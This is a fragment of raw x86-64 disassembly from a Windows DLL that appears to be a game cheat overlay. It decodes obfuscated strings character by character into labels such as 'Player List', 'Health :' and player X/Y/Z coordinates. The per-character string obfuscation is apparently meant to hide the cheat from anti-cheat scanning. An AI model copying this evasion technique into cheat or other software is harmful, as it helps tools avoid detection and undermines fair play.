movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147e0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147e0
movzx r15d, al
mov cl, 0x5f
call fcn.1800147e0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147e0
movzx esi, al
mov cl, 0x61
call fcn.1800147e0
movzx edi, al
mov cl, 0x62
call fcn.1800147e0
movzx ebx, al
xor ecx, ecx
call fcn.1800147e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xbf0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xbf1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xbf2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xbf3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xbf4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xbf5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xbf6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xbf7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xbf8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xbf9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xbfa], cl
mov byte [rbp + 0xbfb], r13b
mov byte [rbp + 0xbfc], r12b
mov byte [rbp + 0xbfd], r15b
mov byte [rbp + 0xbfe], r14b
mov byte [rbp + 0xbff], sil
mov byte [rbp + 0xc00], dil
mov byte [rbp + 0xc01], bl
mov byte [rbp + 0xc02], al
lea rcx, [rbp + 0x2ff8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x10000000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_send
mov edx, edi
lea rcx, [rbp + 0x2ff8]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0xbf0]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.1800147e0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2ff8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800e2560
lea rcx, [rbp + 0x2ff8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x2ff8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x6d8], eax
mov byte [rbp + 0x6dc], al
mov cl, 0x50
call fcn.180056920
mov byte [rsp + 0x50], al
mov cl, 0x6c
call fcn.180056920
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180056920
mov byte [rsp + 0x52], al
mov cl, 0x79
call fcn.180056920
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056920
mov byte [rsp + 0x54], al
mov cl, WSAStartup
call fcn.180056920
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056920
movzx r12d, al
mov cl, 0x20
call fcn.180056920
movzx r15d, al
mov cl, 0x4c
call fcn.180056920
movzx r14d, al
mov cl, 0x69
call fcn.180056920
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056920
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056920
movzx ebx, al
xor ecx, ecx
call fcn.180056920
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x6d0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x6d1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x6d2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x6d3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x6d4], cl
mov byte [rbp + 0x6d5], r13b
mov byte [rbp + 0x6d6], r12b
mov byte [rbp + 0x6d7], r15b
mov byte [rbp + 0x6d8], r14b
mov byte [rbp + 0x6d9], sil
mov byte [rbp + 0x6da], dil
mov byte [rbp + 0x6db], bl
mov byte [rbp + 0x6dc], al
lea rcx, [rbp + 0x3018]
call fcn.180011f00
mov dword [rsp + 0x5c], 2
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3018]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x6d0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056920
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3018]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e2700
lea rcx, [rbp + 0x3018]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x3018]
call fcn.180011f20
lea rcx, [0x1805e4b90]
call fcn.1800161b0
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed030
mov r14, rax
lea rcx, [0x1805e4b90]
call fcn.1800161f0
test r14d, r14d
jle 0x1800e289b
mov rcx, qword [0x1805e4828]
call fcn.180075760
movaps xmm0, xmm7
call fcn.180076c20
mov esi, edi
nop dword [rax + rax]
mov ecx, esi
call fcn.180075e20
lea rcx, [0x1805e4b90]
call fcn.1800161b0
cmp dword [0x1805e4f54], esi
sete byte [rbp + 0x4ba9]
mov rdx, rdi
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed020
lea rdx, [rax + 0x38]
lea rcx, [rbp + 0x4c38]
call fcn.180014430
nop
lea rcx, [0x1805e4b90]
call fcn.1800161f0
lea rcx, [rbp + 0x4c38]
call fcn.1800143e0
mov rdx, rax
xor r8d, r8d
lea rcx, [0x1805e5eb0]
call fcn.180069230
test al, al
je 0x1800e2868
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3db0]
call fcn.180011e10
mov rbx, rax
lea rcx, [rbp + 0x4c38]
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4ba9]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800e2868
lea rcx, [0x1805e4bf0]
call fcn.1800161b0
mov dword [0x1805e4f54], esi
lea rcx, [0x1805e4bf0]
call fcn.1800161f0
cmp byte [rbp + 0x4ba9], 0
je 0x1800e2876
call fcn.180075c30
call fcn.180075ea0
nop
lea rcx, [rbp + 0x4c38]
call fcn.180011f20
inc esi
inc rdi
cmp esi, r14d
jl 0x1800e27a0
jmp 0x1800e2bba
mov rcx, qword [0x1805e49d8]
call fcn.180075760
xor eax, eax
mov qword [rbp + 0x6f0], rax
mov word [rbp + 0x6f8], ax
mov cl, 0x4e
call fcn.1800146b0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146b0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800146b0
movzx r13d, al
mov cl, 0x50
call fcn.1800146b0
movzx r12d, al
mov cl, 0x6c
call fcn.1800146b0
movzx r15d, al
mov cl, 0x61
call fcn.1800146b0
movzx r14d, al
mov cl, 0x79
call fcn.1800146b0
movzx esi, al
mov cl, 0x65
call fcn.1800146b0
movzx edi, al
mov cl, WSAStartup
call fcn.1800146b0
movzx ebx, al
xor ecx, ecx
call fcn.1800146b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x6f0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x6f1], cl
mov byte [rbp + 0x6f2], r13b
mov byte [rbp + 0x6f3], r12b
mov byte [rbp + 0x6f4], r15b
mov byte [rbp + 0x6f5], r14b
mov byte [rbp + 0x6f6], sil
mov byte [rbp + 0x6f7], dil
mov byte [rbp + 0x6f8], bl
mov byte [rbp + 0x6f9], al
lea rcx, [rbp + 0x3038]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x3038]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x6f0]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3038]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e29a0
lea rcx, [rbp + 0x3db8]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x3038]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3dc0]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x3038]
call fcn.180011f20
lea rcx, [rbp + 0x3dc8]
call fcn.180076f00
movss xmm0, dword [rax + 4]
mulss xmm0, xmm9
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x6e0], rax
mov word [rbp + 0x6e8], ax
mov cl, 0x4e
call fcn.1800ed7c0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7c0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800ed7c0
movzx r13d, al
mov cl, 0x50
call fcn.1800ed7c0
movzx r12d, al
mov cl, 0x6c
call fcn.1800ed7c0
movzx r15d, al
mov cl, 0x61
call fcn.1800ed7c0
movzx r14d, al
mov cl, 0x79
call fcn.1800ed7c0
movzx esi, al
mov cl, 0x65
call fcn.1800ed7c0
movzx edi, al
mov cl, WSAStartup
call fcn.1800ed7c0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x6e0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x6e1], cl
mov byte [rbp + 0x6e2], r13b
mov byte [rbp + 0x6e3], r12b
mov byte [rbp + 0x6e4], r15b
mov byte [rbp + 0x6e5], r14b
mov byte [rbp + 0x6e6], sil
mov byte [rbp + 0x6e7], dil
mov byte [rbp + 0x6e8], bl
mov byte [rbp + 0x6e9], al
lea rcx, [rbp + 0x3058]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000000
xor r8d, r8d
mov edi, 0xa
mov edx, edi
lea rcx, [rbp + 0x3058]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x6e0]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800ed7c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3058]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800e2b40
lea rcx, [rbp + 0x3058]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4978]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x3058]
call fcn.180011f20
call fcn.180075800
call fcn.180070430
lea rcx, [rbp + 0x3dd0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
movss xmm0, dword [0x1801ce848]
call fcn.180076c20
lea rcx, [rbp + 0x3dd8]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm8
lea rcx, [rbp + 0x3de0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x3de8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x7f8], eax
mov word [rbp + 0x7fc], ax
mov cl, 0x23
call fcn.180056950
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180056950
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056950
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180056950
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.180056950
mov byte [rsp + 0x54], al
mov cl, 0x79
call fcn.180056950
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180056950
movzx r13d, al
mov cl, WSAStartup
call fcn.180056950
movzx r12d, al
mov cl, 0x5f
call fcn.180056950
movzx r15d, al
mov cl, 0x69
call fcn.180056950
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056950
movzx esi, al
mov cl, 0x66
call fcn.180056950
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056950
movzx ebx, al
xor ecx, ecx
call fcn.180056950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x7f0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x7f1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x7f2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x7f3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x7f4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x7f5], cl
mov byte [rbp + 0x7f6], r13b
mov byte [rbp + 0x7f7], r12b
mov byte [rbp + 0x7f8], r15b
mov byte [rbp + 0x7f9], r14b
mov byte [rbp + 0x7fa], sil
mov byte [rbp + 0x7fb], dil
mov byte [rbp + 0x7fc], bl
mov byte [rbp + 0x7fd], al
lea rcx, [rbp + 0x3078]
call fcn.180011f00
mov dword [rsp + 0x70], 2
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3078]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x7f0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3078]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e2d80
lea rcx, [rbp + 0x3078]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x3078]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0xad0], rax
mov dword [rbp + 0xad8], eax
mov cl, 0x50
call fcn.180056a30
mov byte [rsp + 0x50], al
mov cl, 0x6c
call fcn.180056a30
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180056a30
mov byte [rsp + 0x52], al
mov cl, 0x79
call fcn.180056a30
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056a30
movzx r13d, al
mov cl, WSAStartup
call fcn.180056a30
movzx r12d, al
mov cl, 0x20
call fcn.180056a30
movzx r15d, al
mov cl, 0x49
call fcn.180056a30
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056a30
movzx esi, al
mov cl, 0x66
call fcn.180056a30
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a30
movzx ebx, al
xor ecx, ecx
call fcn.180056a30
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xad0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xad1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xad2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xad3], cl
mov byte [rbp + 0xad4], r13b
mov byte [rbp + 0xad5], r12b
mov byte [rbp + 0xad6], r15b
mov byte [rbp + 0xad7], r14b
mov byte [rbp + 0xad8], sil
mov byte [rbp + 0xad9], dil
mov byte [rbp + 0xada], bl
mov byte [rbp + 0xadb], al
lea rcx, [rbp + 0x3098]
call fcn.180011f00
mov r15d, 4
mov dword [rsp + 0x70], r15d
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3098]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
mov rdx, rsi
lea rcx, [rbp + 0xad0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056a30
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3098]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e2f01
lea rcx, [rbp + 0x3098]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x3098]
call fcn.180011f20
lea rcx, [0x1805e4b90]
call fcn.1800161b0
lea rcx, [0x1805e4bf0]
call fcn.1800161b0
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed030
test rax, rax
je 0x1800e556d
movsxd rbx, dword [0x1805e4f54]
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed030
cmp rbx, rax
jae 0x1800e556d
mov rdx, rbx
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed020
mov rbx, rax
mov qword [rbp - 0x70], rax
movss xmm6, dword [rax + 0xc]
movss xmm7, dword [rax + 8]
movss xmm10, dword [rax + 0x10]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0x68], eax
movss xmm0, dword [rbx + 0x78]
movss dword [rbp + 0x4bb0], xmm0
movss xmm1, dword [rbx + 0x7c]
movss dword [rbp + 0x4bb4], xmm1
movss xmm0, dword [rbx + 0x80]
movss dword [rbp + 0x4bb8], xmm0
mov ecx, eax
call fcn.1800645b0
mov byte [rsp + 0x5c], al
lea rcx, [rbx + 0x58]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
lea rcx, [rbx + 0x18]
call fcn.1800143e0
mov qword [rbp + 0x1118], rax
xor eax, eax
mov dword [rbp + 0x114c], eax
mov cl, 0x25
call fcn.18001b160
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.18001b160
mov byte [rsp + 0x71], al
mov cl, 0x66
call fcn.18001b160
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.18001b160
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x114c], eax
lea rcx, [rbp + 0x30b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000000
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x30b8]
call fcn.180014330
mov rsi, rdi
mov r14, r15
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x114c]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.18001b160
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x30b8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e3090
cvtss2sd xmm6, xmm6
lea rcx, [rbp + 0x30b8]
call fcn.1800143e0
mov rdx, rax
movaps xmm2, xmm6
movq r8, xmm6
lea rcx, [rbp + 0x4db0]
call fcn.1800edb80
nop
lea rcx, [rbp + 0x30b8]
call fcn.180011f20
lea rdx, [rbp + 0x4db0]
lea rcx, [rbp + 0x4cb8]
call fcn.1800143f0
nop
xor eax, eax
mov dword [rbp + 0x1150], eax
mov cl, 0x25
call fcn.1800146b0
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.1800146b0
mov byte [rsp + 0x71], al
mov cl, 0x66
call fcn.1800146b0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.1800146b0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1150], eax
lea rcx, [rbp + 0x30d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000000
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x30d8]
call fcn.180014330
mov rdx, rdi
lea rcx, [rbp + 0x1150]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x30d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r15, 1
jne 0x1800e3170
xorps xmm6, xmm6
cvtss2sd xmm6, xmm7
lea rcx, [rbp + 0x30d8]
call fcn.1800143e0
mov rdx, rax
movaps xmm2, xmm6
movq r8, xmm6
lea rcx, [rbp + 0x4db0]
call fcn.1800edb80
nop
lea rcx, [rbp + 0x30d8]
call fcn.180011f20
lea rdx, [rbp + 0x4db0]
lea rcx, [rbp + 0x4c98]
call fcn.1800143f0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe48], xmm0
mov qword [rbp + 0xe58], rax
mov dword [rbp + 0xe60], eax
mov word [rbp + 0xe64], ax
mov cl, 0x28
call fcn.1800ecc20
mov byte [rsp + 0x50], al
mov cl, 0x58
call fcn.1800ecc20
mov byte [rsp + 0x51], al
mov cl, 0x3a
call fcn.1800ecc20
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x53], al
mov cl, 0x25
call fcn.1800ecc20
mov byte [rsp + 0x54], al
mov cl, 0x2e
call fcn.1800ecc20
mov byte [rsp + 0x55], al
mov cl, 0x66
call fcn.1800ecc20
mov byte [rsp + 0x56], al
mov cl, 0x2c
call fcn.1800ecc20
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x58], al
mov cl, 0x2d
call fcn.1800ecc20
mov byte [rsp + 0x59], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x5a], al
mov cl, 0x59
call fcn.1800ecc20
mov byte [rsp + 0x60], al
mov cl, 0x3a
call fcn.1800ecc20
mov byte [rsp + 0x61], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x62], al
mov cl, 0x25
call fcn.1800ecc20
mov byte [rsp + 0x63], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x78], al
mov cl, 0x2e
call fcn.1800ecc20
mov byte [rsp + 0x79], al
mov cl, 0x66
call fcn.1800ecc20
mov byte [rsp + 0x7a], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x7c], al
mov cl, 0x2d
call fcn.1800ecc20
mov byte [rsp + 0x7b], al
mov cl, 0x20
call fcn.1800ecc20
mov byte [rsp + 0x7d], al
mov cl, 0x5a
call fcn.1800ecc20
mov byte [rsp + 0x7e], al
mov cl, 0x3a
call fcn.1800ecc20
movzx r13d, al
mov cl, 0x20
call fcn.1800ecc20
movzx r12d, al
mov cl, 0x25
call fcn.1800ecc20
movzx r15d, al
mov cl, 0x20
call fcn.1800ecc20
movzx r14d, al
mov cl, 0x2e
call fcn.1800ecc20
movzx esi, al
mov cl, 0x66
call fcn.1800ecc20
movzx edi, al
mov cl, 0x29
call fcn.1800ecc20
movzx ebx, al
xor ecx, ecx
call fcn.1800ecc20
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xe48], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xe49], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xe4a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xe4b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xe4c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xe4d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xe4e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xe4f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xe50], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xe51], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xe52], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xe53], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xe54], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xe55], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xe56], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xe57], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xe58], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xe59], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xe5a], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xe5b], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0xe5c], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0xe5d], cl
mov byte [rbp + 0xe5e], r13b
mov byte [rbp + 0xe5f], r12b
mov byte [rbp + 0xe60], r15b
mov byte [rbp + 0xe61], r14b
mov byte [rbp + 0xe62], sil
mov byte [rbp + 0xe63], dil
mov byte [rbp + 0xe64], bl
mov byte [rbp + 0xe65], al
lea rcx, [rbp + 0x30f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000000
xor r8d, r8d
mov r14d, 0x1e
mov edx, r14d
lea rcx, [rbp + 0x30f8]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xe48]
call fcn.18001db60
movzx ecx, byte [rax]
call fcn.1800ecc20
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x30f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r14, 1
jne 0x1800e34b0
movss xmm6, dword [rbp + 0x4bb8]
cvtps2pd xmm6, xmm6
movss xmm7, dword [rbp + 0x4bb4]
cvtps2pd xmm7, xmm7
movss xmm8, dword [rbp + 0x4bb0]
cvtps2pd xmm8, xmm8
lea rcx, [rbp + 0x30f8]
call fcn.1800143e0
mov rdx, rax
movsd qword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movq r9, xmm7
movaps xmm2, xmm8
movq r8, xmm2
lea rcx, [rbp + 0x4db0]
call fcn.1800edb80
nop
lea rcx, [rbp + 0x30f8]
call fcn.180011f20
lea rdx, [rbp + 0x4db0]
lea rcx, [rbp + 0x4c78]
call fcn.1800143f0
nop
xor eax, eax
mov dword [rbp + 0x160], eax
mov word [rbp + 0x164], ax
mov cl, 0x25
call fcn.18001dba0
movzx r15d, al
mov cl, 0x2e
call fcn.18001dba0
movzx r14d, al
mov cl, 0x66
call fcn.18001dba0
movzx esi, al
mov cl, 0x20
call fcn.18001dba0
movzx edi, al
mov cl, 0x6d
call fcn.18001dba0
movzx ebx, al
xor ecx, ecx
call fcn.18001dba0
mov byte [rbp + 0x160], r15b
mov byte [rbp + 0x161], r14b
mov byte [rbp + 0x162], sil
mov byte [rbp + 0x163], dil
mov byte [rbp + 0x164], bl
mov byte [rbp + 0x165], al
lea rcx, [rbp + 0x3118]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x3118]
call fcn.180014330
mov edi, ebx
nop dword [rax + rax]
mov rdx, r12
lea rcx, [rbp + 0x160]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.18001dba0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x3118]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800e3600
xorps xmm6, xmm6
cvtss2sd xmm6, xmm10
lea rcx, [rbp + 0x3118]
call fcn.1800143e0
mov rdx, rax
movaps xmm2, xmm6
movq r8, xmm6
lea rcx, [rbp + 0x4db0]
call fcn.1800edb80
nop
lea rcx, [rbp + 0x3118]
call fcn.180011f20
lea rdx, [rbp + 0x4db0]
lea rcx, [rbp + 0x4c58]
call fcn.1800143f0
nop
mov rcx, qword [0x1805e4a20]
call fcn.180075760
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x4d0], rax
mov byte [rbp + 0x4d8], al
mov cl, 0x48
call fcn.180056740
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056740
movzx r13d, al
mov cl, 0x61
call fcn.180056740
movzx r12d, al
mov cl, 0x6c
call fcn.180056740
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056740
movzx r14d, al
mov cl, 0x68
call fcn.180056740
movzx esi, al
mov cl, 0x20
call fcn.180056740
movzx edi, al
mov cl, 0x3a
call fcn.180056740
movzx ebx, al
xor ecx, ecx
call fcn.180056740
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x4d0], cl
mov byte [rbp + 0x4d1], r13b
mov byte [rbp + 0x4d2], r12b
mov byte [rbp + 0x4d3], r15b
mov byte [rbp + 0x4d4], r14b
mov byte [rbp + 0x4d5], sil
mov byte [rbp + 0x4d6], dil
mov byte [rbp + 0x4d7], bl
mov byte [rbp + 0x4d8], al
lea rcx, [rbp + 0x3138]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x3138]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x4d0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056740
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3138]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e3790
lea rcx, [rbp + 0x3df0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x3138]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3df8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movss xmm7, dword [0x1801ce7a8]
subss xmm6, xmm7
movaps xmm0, xmm6
